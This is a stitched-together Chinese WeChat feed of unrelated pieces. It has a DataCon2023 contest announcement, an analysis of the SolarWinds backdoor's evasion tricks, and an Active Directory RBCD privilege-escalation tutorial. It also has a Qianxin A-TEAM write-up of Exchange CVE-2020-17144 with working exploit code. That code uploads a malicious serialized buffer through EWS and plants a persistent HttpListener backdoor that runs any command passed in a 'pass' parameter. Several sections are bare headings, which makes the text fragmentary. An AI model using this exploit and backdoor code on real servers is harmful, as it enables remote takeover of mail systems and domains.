一年一度的数据安全分析盛宴，来了！DataCon2023战火重燃持续升级全新挑战10月19日报名开启11月0

一年一度的数据安全分析盛宴，来了！

DataCon2023战火重燃

持续升级

全新挑战

10月19日报名开启

11月06日18:00报名截止

五年历程 不断升级

数据沉淀 助力科研

基于真实 主动防御

百万奖金 邀你来战

DataCon2023赛事信息

指导单位：中国通信学会数据安全委员会

主办单位：­奇安信集团、清华大学网络研究院、北京市大数据中心、蚂蚁集团、腾讯安全大数据实验室、Coremail、赛尔网络

报名官网：https://datacon.qianxin.com/datacon2023

赛程安排：

比赛报名

2023年10月19日10:00-11月6日18:00

线上初赛

2023年11月7日10:00-11月16日18:00

线上答辩

2023年11月19日

颁奖典礼

2023年11月27日-11月30日 

福建·福州(拟)

DataCon2023赛道持续扩充

非纯数据类比赛，没有标准答案，不固定赛道和模式，这就是DataCon。作为首个以数据安全分析为核心的竞赛，DataCon不忘初心，一直将竞赛、教学与科研三者紧密结合，以科研实战和企业需求出发，不断扩充赛道，着力培养实战型网络安全人才。DataCon2023再度升级，设置AI安全赛道(新)、漏洞分析赛道(新)、软件安全赛道、邮件安全赛道、互联网威胁溯源赛道五大赛道，考察参赛选手在真实网络中的数据分析水平和解决安全问题的能力。

高质量学习资源助力备赛

在不断优化竞赛平台的同时，DataCon还为参赛选手提供了大量的备赛资源。在DataCon社区，可以轻松获取高质量数据集、历年赛题、往年冠军战队解题思路和学习视频。另外，我们还将组织赛前专题培训。复盘，总结，竞赛，答疑，助力参赛选手取得更好成绩。

DataCon社区课程：https://datacon.qianxin.com/video/

百万级奖金等你挑战

DataCon设置荣誉与奖金并重的奖励机制，设立团队奖和教师奖，更有漏洞挖掘赛道为奖金加持，根据提交的漏洞等级，奖励总额最高可达百万级。除奖金外，将会为各赛道前十名战队颁发“五周年纪念版”奖杯，优秀战绩也将展示在DataCon官方社区荣誉榜。(详情见官网)

汇聚数据安全分析领域优秀人才

自2019年启动至今，DataCon大数据安全分析竞赛诞生了众多“优秀解题思路”“冠军战队”“优秀选手”，见证了无数名参赛选手的成长。DataCon社区已汇聚超300所高校，200余企业，5000余战队共计近1.9万人次共同参与到数据安全分析的“战场”中。对参赛选手来说，DataCon不仅仅是一场比赛，更是一次技能提升、思路突破和学术研究之旅。

如有疑问请咨询

官方邮箱：DataCon@qianxin.com

官方微信公众号：DataCon大数据安全分析竞赛

官方QQ交流群：551364792

扫码进入DataCon2023交流群

希望我们的努力

可以给你带来更多方向和灵感

期待你的参加

让我们一起做好数据安全分析这件事儿

分享抽好礼

活动规则：关注DataCon公众号+分享本篇文章至朋友圈或网络安全相关社群，赢取DataCon2023定制纪念礼品。（分组、开奖前删除、开奖后发布均视为无效）

开奖时间: 11月7日 12:00

一等奖

极客桌面控制器

奖品信息

二等奖

五周年定制版服饰

三等奖

定制版背包

DataCon历年回顾

点击"阅读原文"进入官网报名

阅读原文

跳转微信打开

APT攻击不是单纯的安全事件，而是不见硝烟的战争。我们面对的是成组织、成建制的攻击，作为样本分析人员应当扮演侦察兵的角色，最大化提升自己的行动意识与攻击视界，同时磨练出对等作战的能力，否则必将在战斗中一败涂地。

作者：zcgonvh && rem4x

校对：zcgonvh、rem4x、n1nty、L.N.

编辑：L.N.

1. 攻击者在行动前，应意识到可能导致行动暴露的信息，并制定避免方式。

2. 攻击者在行动时，应严格按照行动前的隐蔽条例作战，并及时处理突发情况。

3. 攻击者在行动后，应清理遗留信息，并封存已用资源。

考虑现阶段安全环境现状，无论是基于主机或是基于网络的防御均日趋完善，完美的隐藏在现实中是不可能的。攻击者能够做到的只是尽量隐匿而不可能完全隐身，无论多么完美的手段都会留下痕迹，这也是攻击侧广为人知却又颇为无奈的事实。

这些不可避免的痕迹构成了防御侧的情报基础。利用这些情报信息，虽然事前的情形我们无从知晓，但是在事中和事后，我们捕获的攻击行为，提供了直接触碰攻击组织的窗口，其中任何有价值的信息均可以作为证据。这些证据无论在事中止损，还是事后溯源，乃至攻击反制都将起到极大作用。

基于现有的事实，结合多维度的分析与推断，最终能够描绘出较完善的攻击者画像。

本文从全局出发，以技术作为手段，以代码、手法和行为作为支撑。通过推测对方的实际行为、人员配比、后续行动，尽最大可能窥视并揭露行动背后掩藏的真相。

这不是威胁情报文章，因此我们不会花费大量的篇幅在描述常规背景、威胁影响与IOC上面，这对从更高维度观察APT威胁毫无帮助。这也不是样本分析文章，我们同样不会花费大量的篇幅描述如何逆向代码、如何使用工具或是发现了某种调用表明做了某些事等等，这些常规代码分析与猜测在针对类似组织的行动时，是极为苍白无力的。

我们希望将实际行动的思想融入到样本分析与APT追踪，同时借此文揭露的真实APT手段，为安全从业者敲响警钟：APT攻击不是单纯的安全事件，而是不见硝烟的战争。我们面对的是成组织、成建制的攻击，作为样本分析人员应当扮演侦察兵的角色，最大化提升自己的行动意识与攻击视界，同时磨练出对等作战的能力，否则必将在战斗中一败涂地。

根据行业知识的积累与逻辑思维理解的不同，理解本文至少需要一天至一周的时间。

0x20 代码

我们在分析时不会关心alpha编码使用了哪个随机字符作为混淆，因为这是毫无意义的。类比于此，任何攻击者都可能将具体技术进行等价替换，例如：key随机化、加密算法随机化、等效API代替等等。如果一次事件分析仅仅关心相似的细枝末节，把加密key和算法、调用的API、发送的数据包等细节输出成文。这样的文章在整体的攻击行为追溯上可以说是非常失败的。

事实上我们应当首先把自己的角度转化为攻击者角度。作为攻击者只用关心一点：样本中的代码能为行动起到何种推进？带着这个疑问再转回分析人员，对每一段代码功能进行提问：为什么对方的行动需要设计此功能？随即又转回攻击者：我拿到了这段代码的执行结果/我实现了这个操作以后，我要做什么？

有了依据事实而得出的合理推测，结合情报获取到的实质证据，我们至少在行动手段上能够为攻击者制造画像，甚至可以为后续战术甚至战略层面分析提供大量的帮助。

这才是代码层面分析的核心目的。

0x21 入口选择

根据火眼的分析报告，恶意代码包含在SolarWinds.Orion.Core.BusinessLayer.dll中，恶意类名称为SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer，其入口点是Initialize方法。

我们不要匆匆忙忙的进行分析，首先思考一个问题：此dll具有合法的签名，很显然攻击者从源码阶段进行了控制，那么最初的突破点在哪里？考虑软件工程的工作流程，攻击者最有可能发起感染的位置是代码仓库，这样能够最大限度避开commit之前的review，以及提交期间的自动化代码扫描，防止在开发阶段被发觉。

代码仓库必然会包含多套代码，那么再思考这样一个问题：为什么恶意代码会放置于此dll中，此代码谁又会进行调用？类比Web攻击中的后门驻留，恶意代码插入的位置实际上能在某种意义上决定存活时间，而对于位置的选择往往能直接反映攻击者的行动思路。

带着这个疑问查看恶意代码交叉引用，我们可以得到以下（图0）调用堆栈：

图0

恶意代码被插入至RefreshInternal方法中，而非常规的入口方法。实际的入口方法Start作为父类BusinessLayerPlugin的重写，将在主进程SolarWinds.BusinessLayerHost.exe中被调用，中间有着很长的代码路径。

攻击者选择了一个非常深层次的调用堆栈，用来降低代码重构期间被发现的可能。同时，藏匿在C#托管类库，而非直接寄生于主程序本体，实际上也属于后续运行期间的掩护手段之一。

再关注具体实现：RefreshInternal方法中插入了以下代码（图1）。此代码用于检测是否启动，如未启动将开启新线程运行恶意代码：

图1

检查项IsAlive进行了全局锁（图2），保证了在插件运行期间只有一个实例运行。

是的，此后门在插件生存周期内只会运行一次。

在后续分析中还将看到大量类似的行为，这是和常规攻击完全不一样的点。

0x22 环境检测

几乎所有的判断都是通过自定义hash算法进行的，这保证了无论是在源码，还是在编译后的程序集中，均不会存在敏感字符串，从而降低被查杀的可能，对于开发期间可能的人工检测也是一种掩护。

后门首先会检测父进程名的hash是否为17291806236368054941（图3），对应进程名SolarWinds.BusinessLayerHost.exe（国内部分翻译型安全团队的结论几乎照抄了FireEye的结论，且包含初期的笔误，欲见详情请在“搜一搜”中搜索关键字：SolarWindws.BusinessLayerHost。）。考虑到整体的谨慎性，这可以理解成防止在多进程中多次加载的双保险，也可以认为是一个基本的反调试验证。

图3

如果检测通过，后门将读取SolarWinds.Orion.Core.BusinessLayer.dll的最后写入时间。我们考虑一套软件的安装部署流程，这几乎可以认为是后门落地时间。之后生成一个位于288-336之间的随机数作为经过的小时间隔（图4），与落地时间相加后和当前时间做对比。只有当前时间大于这个随机时间间隔才会上线。

这意味着后门的上线时间和落地时间的间隔被拉长并随机化，在落地的前12天是不会上线的，12-14天则随时间逐渐提高上线几率（图5），直到14天后才会确保上线。

图5

在时间判断通过后，首先根据硬编码名称583da945-62af-10e8-4902-a8f205c72b2e（图6）创建命名管道（图7），用于保证多进程中的互斥行为，如失败将抛出异常并在捕获后退出线程。

域名检测通过后，首先检测网卡，根据第一个非回环启用网卡生成唯一标识符（图12），并在后续通信中进行发送。

第二步会遍历进程，计算Hash并尝试查找对应的杀软服务名称，共8组22个进程41个服务。如当前环境任一进程Hash与列表匹配，则遍历注册表HKLM\SYSTEM\CurrentControlSet\services子项，修改任何匹配的服务项权限为完全控制，并将服务状态设置为禁用（图13）。

成功设置禁用后，会使用另一个被恶意复用的配置选项ReportWatcherPostpone保存服务状态，此选项默认值为250。新状态通过位进行保存，恶意代码会在默认值的基础上与新状态求和并持久化写入（图14）。

如果未修改任何服务状态，则会执行WMI查询：Select * From Win32_SystemDriver来获取运行环境中已加载的驱动程序列表（图15），并和已知黑名单列表进行对比。此列表包含以下17项，基本为edr的过滤驱动：

0x23 敲门上报

通过重重检测，后门将进入DNS敲门阶段。此整个生存周期内会通过一个DnsRecords对象（图17）保存敲门阶段获取的信息，并传递至控制阶段：

0x24 控制机制

相比复杂的DGA敲门，HTTP控制阶段相对简单得多。

0x25 行动架构

0x30 追溯

在前言中提到，已被捕获的攻击行为实质上提供了一个直接触碰攻击组织的窗口。

0x31 域名

从样本DGA算法中我们知晓，敲门阶段的DGA域名包含可解密信息，而互联网上大量可供查询的PDNS记录为我们收集此类信息提供了足够多的样本。

0x32 时间

0x33 伪装

任何有代码功底的人看到本次样本的代码都应如同感到耳目一新，和充斥于安全圈的低质量代码不同，此样本的编码非常工整。代码本身高度仿照了SolarWinds的编码方式与命名规范，类名、方法全部采用Pascal命名，而字段和方法则使用驼峰式命名，将大量可复用功能单独抽取变为方法，将同功能代码封装为类，这些均是微软推荐的标准C#编程规范。

0x34 WebShell

除供应链攻击的核心探针工程之外，还存在一个带有webshell功能的扩展文件：App_Web_logoimagehandler.ashx.b6031896.dll，其作用为动态编译代码并反射加载执行。

0x40 行动

0x41 周期

在0x32中我们已经通过开源情报搜集，结合DGA解密获取到了全部的时间信息，将时间信息按月份进行排列（图46），可得到下列结果：

0x42 疑问

显然，攻击者具有极强的耐心，以及有足够的技术支撑与基础设施支持。这样的攻击者不可能由业余人员临时组成。这些攻击者有着极强的专业能力以及高度的纪律性，本次事件绝不可能是第一次攻击活动，那么之前这些攻击者的目标是什么？

0x43 推测

由于资料不足，上面的疑问依旧处于黑暗之中。我们希望在后续的持久关注中能够搜集到更多的信息，最终将关于此次行动以及背后组织的事实，完整的展现在公众面前。

0x50 总结

【奇安信 A-TEAM武器化方向人员招聘】

工作地点：北京-奇安信安全中心

岗位：

红队工程师（武器研发方向）

职责：

1.研究能对实战起到实质推进作用的已有技术。

2.发掘能对实战起到实质推进作用的新技术。

3.对上述技术施行工程化落地。

要求：

1.品格过关，性格稳重，思想坚定。

2.具有较强的学习能力、理解能力、接受能力与抗挫折能力。

3.在对抗方向的安全研究具有浓厚兴趣。

4.熟悉真实环境渗透流程，对于对抗有一定理解。

5.熟悉C/C#语言，或接受从其他语言进行转变。

加分项：

1.有开源项目。

2.对代码工程、设计模式、编码规范有一定理解。

3.对windows、linux操作系统有一定理解。

想要在红队武器方向发展，打磨研究实战武器的小伙伴发送简历至邮箱：

zhangchongyao@qianxin.com

zcgonvh@qq.com

或者私聊@zcgonvh

头像哥带你搞事情。

阅读原文

跳转微信打开

漏洞本身有趣的成因和触发条件，在利用时无需明文密码，只要具备NTHash即可成功，在利用方式上会相对更加灵活。同时，存在漏洞的功能点本身具备持久化功能，利用成功后将直接进行持久化行为，在不修复漏洞的情况下将永远存在。

作者：zcgonvh@QAX A-TEAM

官方公告中受影响的 CU31 实际上是准备在十月份发布的 exchange 2010 最终版本（但实际上并未发布），看来是因为我提交了这个漏洞的原因打乱了微软的终止计划 

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17144

0x00 前言

0x01 背景

Exchange提供了MRM功能对邮件生存周期进行管理，参考https://docs.microsoft.com/en-us/exchange/policy-and-compliance/mrm/retention-tags-and-retention-policies，其内部通过“标签”和“策略”进行实现。原文表述较为晦涩，简单总结就是：对一类邮件打上相同的标签(Tag)，创建策略（例如定期删除）并应用到某个标签，使得被打上标签的邮件由邮箱助理模块定期统一进行处理。

0x02 分析

此漏洞成因简单粗暴，首先，模型加载由[Microsoft.Exchange.InfoWorker.Common]Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadModel方法进行实现，其代码极为简略：

internal bool LoadModel(out LearningModel learningModel, out MessageTransformer messageTransformer, bool parseFai){  messageTransformer = null;  learningModel = null;using (UserConfiguration userConfiguration = ElcMailboxHelper.OpenFaiMessage(mailboxSession, "MRM.AutoTag.Model", createIfMissing: false))  {if (userConfiguration == null)    {return false;    }if (parseFai)    {return DeserializeModelFAI(userConfiguration, out learningModel, out messageTransformer);    }  }return true;}

OpenFaiMessage将从收件箱直接读取配置并返回。由于任意用户均可对自身配置进行任意修改，这里是一个可控输入：

internal static UserConfiguration OpenFaiMessage(MailboxSession mailboxSession, string faiMessageClass, bool createIfMissing){  .....  StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);try  {    userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration(faiMessageClass, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, defaultFolderId);  }  .....return userConfiguration;}

随后DeserializeModelFAI方法将在没有任何SerializationBinder的情况下直接进行反序列化：

private bool DeserializeModelFAI(UserConfiguration configItem, out LearningModel learningModel, out MessageTransformer messageTransformer){  .....try  {using (Stream serializationStream = configItem.GetStream())    {      IFormatter formatter = new BinaryFormatter();      learningModel = (LearningModel)formatter.Deserialize(serializationStream);      messageTransformer = (MessageTransformer)formatter.Deserialize(serializationStream);      result = true;    }  }  .....return result;}

0x03 利用

想要成功利用漏洞，便需要一个修改操作服务器端UserConfiguration对象的方式。除了常规邮件服务与OWA，Exchange提供还提供了EWS接口供客户端调用，其对应的客户端类库为Microsoft.Exchange.WebServices.dll。

public class UserConfiguration : IJsonSerializable{  ...public string Name  {get    {return name;    }internal set    {      name = value;    }  }public FolderId ParentFolderId  {get    {return parentFolderId;    }internal set    {      parentFolderId = value;    }  }public ItemId ItemId => itemId;public UserConfigurationDictionary Dictionary => dictionary;public byte[] XmlData  {get    {      ValidatePropertyAccess(UserConfigurationProperties.XmlData);return xmlData;    }set    {      xmlData = value;      MarkPropertyForUpdate(UserConfigurationProperties.XmlData);    }  }public byte[] BinaryData  {get    {      ValidatePropertyAccess(UserConfigurationProperties.BinaryData);return binaryData;    }set    {      binaryData = value;      MarkPropertyForUpdate(UserConfigurationProperties.BinaryData);    }  }  ...}

对照方法定义很容易写出以下Exp：

ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010);service.Credentials = new WebCredentials("zcgonvh","P@ssw0rd!");service.Url = new Uri("https://target/ews/Exchange.asmx");{byte[] data = EVIL-SERIALIZED-BUFFER;  UserConfiguration u = null;  Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);  u = new UserConfiguration(service);  u.BinaryData = data;  u.Save("MRM.AutoTag.Model", folder.Id);}

其中EVIL-SERIALIZED-BUFFER为通过ActivitySurrogateSelectorGenerator生成的二进制序列化数据，注意需要更新为修复兼容性的版本，并使用.net 3.5进行编译。

执行后，目标服务器MSExchangeMailboxAssistants.exe进程将连续进行多次反序列化。

0x04 分析

代码执行仅仅是利用第一步。通过上述利用过程可以观察到一个现象：我们访问了EWS，设置了一个邮箱文件夹对象上的属性，而漏洞由MSExchangeMailboxAssistants.exe进行触发。这个现象已经并非单纯的web代码审计，我们需要站在更高的系统层面进行理解。在https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019可以看到Exchange体系结构图，单纯考虑此漏洞所涉及的系统进行简化整理，可以得到如下流程图：

protected override void OnStartInternal(string[] args){  ...  databaseManager = (DatabaseManager)(object)new DatabaseManager("MSExchangeMailboxAssistants", 50, InfoworkerAssistants.CreateEventBasedAssistantTypes(), InfoworkerAssistants.CreateTimeBasedAssistantTypes(), true);  databaseManager.Start();  ...}

CreateEventBasedAssistantTypes方法将注册Microsoft.Exchange.MailboxAssistants.Assistants.ELC.ElcEventBasedAssistant类，其HandleEventInternal方法会判断是否为AutoTag配置，我们可以看到熟悉的名称MRM.AutoTag.Model：

internal static bool IsAutoTagFai(MapiEvent mapiEvent){if ((int)mapiEvent.get_ClientType() != 6 && (mapiEvent.get_EventFlags() & 1) != 0)  {if (string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Model", StringComparison.OrdinalIgnoreCase) != 0)    {return string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Setting", StringComparison.OrdinalIgnoreCase) == 0;    }return true;  }return false;}

如是，则将在后续过程中调用Microsoft.Exchange.MailboxAssistants.Assistants.ELC.RetentionPolicyCheck::LoadAutoTagFai方法，此方法负责模型初始化加载，并进入实际的反序列化调用。

0x05 武器化

现在已经能够在远程执行任意命令，然而在实战利用中远远不够。我们不能确定对方是否能够真正联网，一个没有稳定控制通道的漏洞利用在实战中价值并不高。

我们只能确定能够访问到目标的EWS，那么如何进行稳定控制？我们当然可以写入WebShell，但这仅仅是下策。MSExchangeMailboxAssistants本身通过SYSTEM账户运行，所以完全可以通过调用HTTP API进行端口复用，劫持EWS某个未被注册的端点供外部访问。

NetFX提供了HttpListener提供了HTTP API的托管访问，参考https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0，使用以下代码即可在/ews/soap/路径建立一个Http监听器，并执行request["pass"]提供的命令：

string password = "pass";try{if (!HttpListener.IsSupported){return;}  HttpListener listener = new HttpListener();  listener.Prefixes.Add("http://*:80/ews/soap/");  listener.Start();while (true)  {    HttpListenerContext context = listener.GetContext();    HttpListenerRequest request = context.Request;    HttpListenerResponse response = context.Response;    Stream stm = null ;string cmd=request.QueryString[password];if(!string.IsNullOrEmpty(cmd))    {try      {        Process p = new Process();        p.StartInfo.FileName = cmd;        p.StartInfo.UseShellExecute = false;        p.StartInfo.RedirectStandardOutput = true;        p.StartInfo.RedirectStandardError = true;        p.Start();byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());        response.StatusCode = 200;        response.ContentLength64 = data.Length;        stm = response.OutputStream;        stm.Write(data, 0, data.Length);      }catch      {         response.StatusCode = 404;       }finally      {if(stm!=null)        {          stm.Close();        }      }    }else    {      response.StatusCode = 404;      response.OutputStream.Close();    }  }}catch{}

由于会多次触发反序列化行为，为了防止阻塞以及跑出异常，需要开启新线程进行监听，完整代码大致如下：

namespace Zcg.Exploit.Remote{public class SimpleExecutionRemoteStub  {public SimpleExecutionRemoteStub()    {new Thread(Listen).Start();    }void Listen()    {      ....    }  }}

编译，使用新用户执行后访问/ews/soap/?pass=whoami，不出意外将得到whoami的输出结果：

private bool NeedToAutoTag(MapiEvent mapiEvent, UserRetentionPolicyCache userRetentionPolicyCache){if ((mapiEvent.get_EventMask() & 2) != 0 && userRetentionPolicyCache != null && userRetentionPolicyCache.AutoTagCache != null && userRetentionPolicyCache.AutoTagCache.UserSetting != null && userRetentionPolicyCache.AutoTagCache.UserSetting.AutoTagEnabled)  {    Tracer.TraceDebug<object, MapiEvent>((long)GetHashCode(), "{0}: this event is interesting because it is new mail and auto tagging is enabled: {1}", TraceContext.Get(), mapiEvent);return true;  }return false;}

byte[] data = GeneratePayload(File.ReadAllBytes("e.dll"));UserConfiguration u = null;Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);try{  u=UserConfiguration.Bind(service,"MRM.AutoTag.Model",folder.Id,UserConfigurationProperties.BinaryData);  u.Delete();}catch{}try{ u=UserConfiguration.Bind(service,"MRM.AutoTag.Setting",folder.Id,UserConfigurationProperties.Dictionary); u.Delete();}catch{}u = new UserConfiguration(service);u.BinaryData = data;u.Save("MRM.AutoTag.Model", folder.Id);

try{   u = new UserConfiguration(service);  u.Dictionary["AutoTagEnabled"] = true;  u.Dictionary["NumberOfPredictedEmail"] = 0;  u.Dictionary["NumberOfCorrectedEmail"] = 0;  u.Dictionary["NumberOfRetaggedEmail"] = 0;  u.Save("MRM.AutoTag.Setting", folder.Id);}catch{}

注意由于此配置默认可能存在，所以需要删除或覆盖。编译执行后重启，直接访问/ews/soap/?pass=whoami依然可以执行命令，至此漏洞利用完美达成。以下为视频演示效果：

最后一个补充：EWS支持NTLM协议认证，采用Relay或是Hash登录均可作为明文密码的替代品，是某些情况下可选的攻击方案。

0x06 拓展：CVE-2018-8302

同样是[Microsoft.Exchange.InfoWorker.Common]类库，在Microsoft.Exchange.InfoWorker.Common.TopN.TopNConfiguration::ReadWordFrequencyMap方法中可以看到对TopNWords.Data的反序列化，但添加了检查类型检查来确保安全性。

internal bool ReadWordFrequencyMap(){using (UserConfiguration userConfiguration = OpenMessage(createIfMissingOrCorrupt: true))  {if (userConfiguration != null)    {using (Stream stream = userConfiguration.GetStream())      {        Exception ex = null;try        {          Type[] allowList = new Type[1]          {typeof(KeyValuePair<string, int>)          };          wordFrequency = (KeyValuePair<string, int>[])SafeSerialization.SafeBinaryFormatterDeserializeWithAllowList(stream, allowList);        }        ....      }    }    ....  }}private UserConfiguration OpenMessage(bool createIfMissingOrCorrupt){  UserConfiguration userConfiguration = null;  StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);  Exception ex = null;try  {    userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration("TopNWords.Data", UserConfigurationTypes.Stream | UserConfigurationTypes.Dictionary, defaultFolderId);  }  ....return userConfiguration;}

除了白名单列表外的代码如出一辙，是的没错，这就是CVE-2018-8302的漏洞位置。将MRM.AutoTag.Model替换为TopNWords.Data，即可作为exp直接利用。

当然，现在来看这一点只存在研究意义，漏洞的影响范围已经基本被CVE-2020-0688和CVE-2020-17144完全覆盖。

0x07 补丁与其他版本

而在其它版本中并不存在此功能，看来已经作为实验性质特性被弃用。

0x08 总结

我个人不喜欢论文性质的总结，浪费时间且起不到实质效果。总结的本质应当升华文章主题并提出更高层次或更加深入的思想，而不是由打工人回退至论文狗。

这是招人纳新的分隔线

• 红蓝对抗（特殊场景下的高强度攻防对抗方向）

• 渗透测试

• 安全开发（红队 Windows/Linux 武器、平台开发方向）

• 红队向产品经理

• 安全研究

如果你拥有以上技能并想加入 A-TEAM（北京、成都，15-30K 能力高者不受此限制），请投简历：

wufangdong@qianxin.com

阅读原文

跳转微信打开

我叫“烂番茄”，你一定听过“烂土豆”，对我们都可以在IIS下本地提权。

作者：n0thing@QAX A-TEAM

校对：L.N.

同时感谢QAX A-TEAM审核团对本文提出的宝贵建议。

0x01 前言

这个标题可能有点“标题党”的嫌疑，但内容我想不会让大家失望的。读过《这是一篇“不一样”的真实渗透测试案例分析文章》的同学应该还记得文中的基于资源的约束委派的利用，当时文中很多细节都一笔带过了，这篇文章中会解答一部分。

这篇文章主要从利用基于资源的约束委派来本地提权的角度展开，大致分为三部分：第一部分我们会讲基础知识，但不会深入；第二部分我们会分析提权原理；第三部分主要以利用思路和演示为主。

“烂番茄”，这是一个新名词，这时你一定想到了“烂土豆”，对，我们都可以在IIS下本地提权，文末将以IIS下的权限提升为例进行讲解。

0x02 基础知识

这篇文章的本地提权是一种基于资源的约束委派的利用，因此读者必须要有部分Kerberos委派的基础知识，推荐详细阅读《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》,这篇文章从基础的Kerberos委派讲起。如果你还缺少Kerberos的基础知识，推荐阅读《Kerberos and Windows Security Series》。下文中将不会再详细介绍以上前置知识，但会简单的说下基于资源的约束委派（RBCD）。

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能，与传统的约束委派相比，它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身，既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。

下面我们通过一个简单的业务场景来说明RBCD的作用，假设网站A服务器是一个文件系统，而网站A服务器只有网站程序相关的功能，真正存放文件的是文件服务器B。这种场景下，用户X登录该网站，打开网站中文件1.txt，因为1.txt实际存储在文件服务器B中，此时网站A服务器就需要访问文件服务器B的权限。如果我们利用RBCD来实现这个业务场景，流程如下图：

• 用户X 登录网站，访问文件1.txt，此时A服务器需要向B服务器请求资源

• A服务器首先利用S4U2Self向KDC请求一张用户X的TGS，这里为什么使用S4U2Self，是因为如果用户X登录网站是使用的非Kerberos协议，就涉及到协议转换的问题，因此需要使用S4USelf。如果用户X是使用Kerberos认证登录的，在A服务器上会有用户X的TGS，就不需要使用S4USelf去申请TGS，直接使用用户X的TGS。

• 我们利用用户X的TGS去执行S4U2Proxy获取访问服务器B的TGS了，最后用服务器B的TGS就能够访问到文件服务器B上的文件了。

在上面的描述中涉及到了S4U2Self和S4U2Proxy这两个Kerberos扩展协议。

• S4U2Self

  通过此扩展可以拿到一张标识任意用户身份的TGS(图中是去获取的用户X身份的TGS)，上文已经解释过了，它的作用其实是协议转换。当用户X使用非Kerberos协议请求网站A的时候，网站A是没有用户X的TGS的，但是是网站A要去获取文件服务器B的访问权限（TGS）需要用户X的TGS，因此S4U2Self解决了这个问题，网站A服务器可以使用它去向KDC请求一张用户X身份的TGS，网站A服务器再用这张TGS去发起S4U2proxy请求。

• S4U2proxy

  该拓展作用是使用一张用户X身份的TGS去向KDC请求一张用于访问文件服务器B的TGS，这张TGS的身份还是用户X，这样网站A就可以利用用户X的权限去访问文件服务器B上的文件了。

相信此时大家应该明白了基于资源的约束委派(RBCD)的认证流程。怎么来设置基于资源的约束委派呢？其中msDS-AllowedToActOnBehalfOfOtherIdentity是关键。

• msDS-AllowedToActOnBehalfOfOtherIdentity msDS-AllowedToActOnBehalfOfOtherIdentity，在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中介绍过了。此属性作用是控制哪些用户可以模拟成域内任意用户然后向该计算机进行身份验证。简而言之， 如果我们可以修改该属性那么我们就能拿到一张域管理员的票据，但该票据只对这台机器生效，然后拿这张票据去对计算机进行认证。也就是说当域内存在任意一台域控和域功能级别是server 2012及以上时，可以通过给所在机器配置"msDS-AllowedToActOnBehalfOfOtherIdentity"属性来设置rbcd，然后通过s4u协议申请高权限票据进行利用。

如果你还是不太明白基于资源的约束委派，请详细阅读节首提到了文章《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》，再继续阅读下面的内容。接下来就是关于提权原理相关的介绍。

0x03 提权原理

在《Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory》中提到了一些利用RBCD本地提权的方案都是基于WEBDAV结合NTLM relay到ldap去设置msDS-AllowedToActOnBehalfOfOtherIdentity属性的方案，例如：利用用户头像更新的UNC路径和MSSQL的xp_dirtree的利用。

在本文当中我们会换个思路来思考RBCD的利用，首先我们来思考一个问题："谁有权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的值呢?"

分析环境如下：

查询web3的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性发现默认是不存在的。 由此得知所有加入域的机器默认不存在这个属性，需要手动添加才行！

那么谁权限能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的值呢?的问题就变成了谁有权限添加msDS-AllowedToActOnBehalfOfOtherIdentity属性？

我们再看web3这台机器的LDAP ACL权限情况，用.net实现一个查看ACL的小工具，代码如下： 

编译运行后会输出哪些对象拥有哪些权限，而这两条ACL引起了我的注意

REDTEAM\web3user -> WriteProperty
NT AUTHORITY\SELF -> WriteProperty

REDTEAM\web3user

先来看这条 ACL

REDTEAM\web3user -> WriteProperty

WriteProperty是指拥有写入对象属性的权限，看到这里不禁露出笑容，这不是我们正想要的么 :)

参考:ActiveDirectoryRights Enum 

使用ADExplorer来测试是否可以添加msDS-AllowedToActOnBehalfOfOtherIdentity，用web3user登录 

然后添加属性,value是O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;serverA的sid)组成的,其中value里面的sid用于访问检查，以确定这个sid对象是否有权限代表其他身份进行认证。 

不出所料，很轻松地添加上了。 

为什么REDTEAM\web3user拥有WriteProperty权限呢？当web3计算机通过域用户web3user加入域时，域内会创建名为web3.redteam.com的计算机对象，而创建者就是web3user，所以该域用户具有对web3.redteam.com的WriteProperty权限。

可以在"mS-DS-CreatorSID"属性中看到，这台计算机是谁创建的，sid对应所属域用户 

NT AUTHORITY\SELF

然后我们再分析另一条ACL

NT AUTHORITY\SELF -> WriteProperty

NT AUTHORITY\SELF 自身(web3.redteam.com)对于自身对象拥有ReadProperty, WriteProperty等权限那么就可以随便操作msDS-AllowedToActOnBehalfOfOtherIdentity属性了。

至此我们再来回答这谁有权限添加msDS-AllowedToActOnBehalfOfOtherIdentity属性？

• REDTEAM\web3user -> WriteProperty（将机器加入域的账号，也就是mS-DS-CreatorSID属性中的账户）

• NT AUTHORITY\SELF -> WriteProperty（机器账户自身也可以修改）

我们再回顾一个知识点，默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户，就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。

